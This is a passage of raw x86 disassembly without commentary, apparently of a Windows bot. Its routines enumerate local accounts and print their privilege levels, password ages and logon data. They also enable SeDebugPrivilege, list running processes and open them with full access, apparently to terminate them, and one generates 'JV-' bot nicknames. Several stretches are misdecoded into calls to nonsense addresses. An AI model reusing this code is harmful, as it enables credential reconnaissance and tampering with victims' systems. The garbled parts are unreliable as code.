		mov	[ebp+var_C], 10001h
		call	ds:dword_43A24C
		pop	edi
		leave
		retn
sub_413592	endp


; =============== S U B	R O U T	I N E =======================================



sub_4135EC	proc near		; CODE XREF: sub_4134C7+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_413342
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_413342
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43A23C
		pop	esi
		retn
sub_4135EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41360D	proc near		; CODE XREF: sub_4134C7+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_413342
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_413342
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_43A3C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41399A
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4139D5
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4154CD
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_413726
		dec	eax
		jz	short loc_41371F
		dec	eax
		jz	short loc_413718
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41372B
; ---------------------------------------------------------------------------


loc_413718:				; CODE XREF: sub_41360D+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41372B
; ---------------------------------------------------------------------------


loc_41371F:				; CODE XREF: sub_41360D+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41372B
; ---------------------------------------------------------------------------


loc_413726:				; CODE XREF: sub_41360D+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41372B:				; CODE XREF: sub_41360D+109j
					; sub_41360D+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4139C6
; ---------------------------------------------------------------------------


loc_41399A:				; CODE XREF: sub_41360D+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_436E90
		push	eax
		call	sub_4154CD
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412D32
		add	esp, 20h


loc_4139C6:				; CODE XREF: sub_41360D+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4139D5
		push	[ebp+var_4]
		call	ds:dword_43A3F8


loc_4139D5:				; CODE XREF: sub_41360D+40j
					; sub_41360D+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_41360D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139DB	proc near		; CODE XREF: seg000:0040EEF5p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_413342
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 18h


loc_413A1A:				; CODE XREF: sub_4139DB+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_43A2D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_413A7B
		cmp	eax, 0EAh
		jz	short loc_413A7B
		push	eax
		push	eax
		call	sub_413B5B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_437098
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 24h
		jmp	short loc_413AF6
; ---------------------------------------------------------------------------


loc_413A7B:				; CODE XREF: sub_4139DB+62j
					; sub_4139DB+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413B09
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413AF6


loc_413A8D:				; CODE XREF: sub_4139DB+EDj
		cmp	edi, esi
		jz	short loc_413ACC
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_413A8D
		jmp	short loc_413AF6
; ---------------------------------------------------------------------------


loc_413ACC:				; CODE XREF: sub_4139DB+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_437050
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 1Ch


loc_413AF6:				; CODE XREF: sub_4139DB+9Ej
					; sub_4139DB+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413B09
		push	edi
		call	ds:dword_43A3F8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_413B09:				; CODE XREF: sub_4139DB+A5j
					; sub_4139DB+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413A1A
		cmp	edi, esi
		jz	short loc_413B21
		push	edi
		call	ds:dword_43A3F8


loc_413B21:				; CODE XREF: sub_4139DB+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4139DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B5B	proc near		; CODE XREF: sub_4131B1+41p
					; sub_4133A6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413C0D
		jz	loc_413C06
		cmp	eax, 7Bh
		ja	short loc_413BD2
		jz	short loc_413BC8
		cmp	eax, 5
		jz	short loc_413BBE
		cmp	eax, 8
		jz	short loc_413BB4
		cmp	eax, 32h
		jz	short loc_413BAA
		cmp	eax, 35h
		jz	short loc_413BA0
		cmp	eax, 57h
		jnz	loc_413C5C
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BA0:				; CODE XREF: sub_413B5B+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BAA:				; CODE XREF: sub_413B5B+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BB4:				; CODE XREF: sub_413B5B+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BBE:				; CODE XREF: sub_413B5B+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BC8:				; CODE XREF: sub_413B5B+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BD2:				; CODE XREF: sub_413B5B+1Aj
		sub	eax, 7Ch
		jz	short loc_413BFF
		sub	eax, 7C8h
		jz	short loc_413BF8
		dec	eax
		jz	short loc_413BEE
		dec	eax
		jnz	short loc_413C5C
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BEE:				; CODE XREF: sub_413B5B+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BF8:				; CODE XREF: sub_413B5B+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413BFF:				; CODE XREF: sub_413B5B+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C06:				; CODE XREF: sub_413B5B+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C0D:				; CODE XREF: sub_413B5B+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413C46
		jz	short loc_413C3F
		sub	eax, 8ADh
		jz	short loc_413C71
		dec	eax
		dec	eax
		jz	short loc_413C38
		dec	eax
		jz	short loc_413C31
		dec	eax
		dec	eax
		jnz	short loc_413C5C
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C31:				; CODE XREF: sub_413B5B+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C38:				; CODE XREF: sub_413B5B+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C3F:				; CODE XREF: sub_413B5B+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C46:				; CODE XREF: sub_413B5B+B9j
		sub	eax, 8CAh
		jz	short loc_413C78
		sub	eax, 17h
		jz	short loc_413C71
		sub	eax, 25h
		jz	short loc_413C6A
		sub	eax, 29h
		jz	short loc_413C63


loc_413C5C:				; CODE XREF: sub_413B5B+35j
					; sub_413B5B+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C63:				; CODE XREF: sub_413B5B+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C6A:				; CODE XREF: sub_413B5B+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C71:				; CODE XREF: sub_413B5B+C2j
					; sub_413B5B+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C78:				; CODE XREF: sub_413B5B+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413C7D:				; CODE XREF: sub_413B5B+40j
					; sub_413B5B+4Aj ...
		push	offset dword_468BD0
		call	sub_4154CD
		pop	ecx
		mov	eax, offset dword_468BD0
		pop	ecx
		retn
sub_413B5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C8F	proc near		; CODE XREF: seg000:0040EF34p

var_1077B	= dword	ptr -1077Bh
var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179D9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 48B9944Ah
		xor	ecx, [ebp+var_1077B]
		call	dword ptr [esi+50h]
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4179D9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179BC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_43A378
		test	eax, eax
		jnz	short loc_413D1F
		mov	esi, offset dword_4689CC
		push	offset dword_4373F0
		push	esi
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_413D48
; ---------------------------------------------------------------------------


loc_413D1F:				; CODE XREF: sub_413C8F+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413B5B
		pop	ecx
		mov	esi, offset dword_4689CC
		push	eax
		push	offset dword_4373B4
		push	esi
		call	sub_4154CD
		add	esp, 14h


loc_413D48:				; CODE XREF: sub_413C8F+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D4D	proc near		; CODE XREF: sub_409DD7+7p
					; sub_413DB8+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2F448378h
		lodsb
		push	eax
		call	ds:dword_43A34C
		test	eax, eax
		jnz	short loc_413D6C
		leave
		retn
; ---------------------------------------------------------------------------


loc_413D6C:				; CODE XREF: sub_413D4D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_43A324
		test	eax, eax
		jz	short loc_413DAA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413D93
		or	[ebp+var_8], 2
		jmp	short loc_413D97
; ---------------------------------------------------------------------------


loc_413D93:				; CODE XREF: sub_413D4D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413D97:				; CODE XREF: sub_413D4D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43A3D4
		mov	esi, eax


loc_413DAA:				; CODE XREF: sub_413D4D+32j
		push	[ebp+var_4]
		call	ds:dword_42106C
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DB8	proc near		; CODE XREF: seg000:00411610p
					; sub_413F69+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_570575B8	= word ptr  570575C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_43A388, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_413F62
		cmp	ds:dword_43A36C, ebx
		jz	loc_413F62
		cmp	ds:dword_43A288, ebx
		jz	loc_413F62
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D4D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_43A388
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413F55
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A36C
		mov	esi, ds:dword_42106C
		test	eax, eax
		jz	loc_413F50


loc_413E5B:				; CODE XREF: sub_413DB8+BEj
					; sub_413DB8+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A288
		test	eax, eax
		jz	loc_413F50
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413E5B
		cmp	[ebp+arg_C], ebx
		jnz	loc_413F08
		cmp	[ebp+arg_4], ebx
		jz	short loc_413E5B
		push	[ebp+var_124]
		push	8
		call	ds:dword_43A388
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413EC5
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_43A234
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413ECB
		lea	eax, [ebp+var_230]
		jmp	short loc_413ED1
; ---------------------------------------------------------------------------


loc_413EC5:				; CODE XREF: sub_413DB8+EBj
		push	[ebp+var_124]


loc_413ECB:				; CODE XREF: sub_413DB8+103j
		lea	eax, [ebp+var_108]


loc_413ED1:				; CODE XREF: sub_413DB8+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4154CD
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_413E5B
; ---------------------------------------------------------------------------


loc_413F08:				; CODE XREF: sub_413DB8+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E5B
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 55E6EE84h


loc_413F32:				; CODE XREF: sub_413DB8+17Cj
		sbb	al, 0FFh
		jnz	short loc_413F32
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		call	near ptr 73C11452h
		fiadd	[ebp+arg_570575B8]
		call	esi
		jmp	short loc_413F62
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		jmp	short loc_413F64
; ---------------------------------------------------------------------------


loc_413F50:				; CODE XREF: sub_413DB8+9Dj
					; sub_413DB8+B5j
		push	[ebp+var_4]
		call	esi


loc_413F55:				; CODE XREF: sub_413DB8+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D4D
		pop	ecx
		pop	ecx


loc_413F62:				; CODE XREF: sub_413DB8+3Aj
					; sub_413DB8+46j ...
		xor	eax, eax


loc_413F64:				; CODE XREF: sub_413DB8+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413DB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F69	proc near		; DATA XREF: seg000:004121C8o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_4374C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154CD
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413FC8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D32
		add	esp, 14h


loc_413FC8:				; CODE XREF: sub_413F69+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413DB8
		add	esp, 18h
		test	eax, eax
		jnz	short loc_413FF0


loc_413FE9:				; CODE XREF: sub_414047+15j
		push	offset dword_437484
		jmp	short loc_413FF5
; ---------------------------------------------------------------------------


loc_413FF0:				; CODE XREF: sub_413F69+7Ej
		push	offset dword_43744C


loc_413FF5:				; CODE XREF: sub_413F69+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154CD
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_414028
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D32
		add	esp, 14h


loc_414028:				; CODE XREF: sub_413F69+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B151
		push	[ebp+var_14]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 4805A2ECh
		mov	[edi+5Eh], bl
sub_413F69	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414047	proc near		; CODE XREF: seg000:004115B2p
					; sub_4150B4+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 401DA7BDh
		jnp	short loc_413FE9
		lock test esi, esi
		jz	short loc_414079
		push	0
		push	esi
		call	near ptr 2CBECAB6h
		aaa
		test	eax, eax
		jnz	short loc_414079
		push	esi
		xor	edi, edi
		call	ds:dword_42106C


loc_414079:				; CODE XREF: sub_414047+1Aj
					; sub_414047+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414047	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41407E	proc near		; CODE XREF: seg000:004036DEp
					; sub_403C8B+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415529
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_421668
		call	sub_415F6C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41407E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140AE	proc near		; CODE XREF: sub_414419+49p
					; DATA XREF: seg002:off_437508o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aJv ; "JV-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C168, esi
		jle	short loc_414107


loc_4140E1:				; CODE XREF: sub_4140AE+57j
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
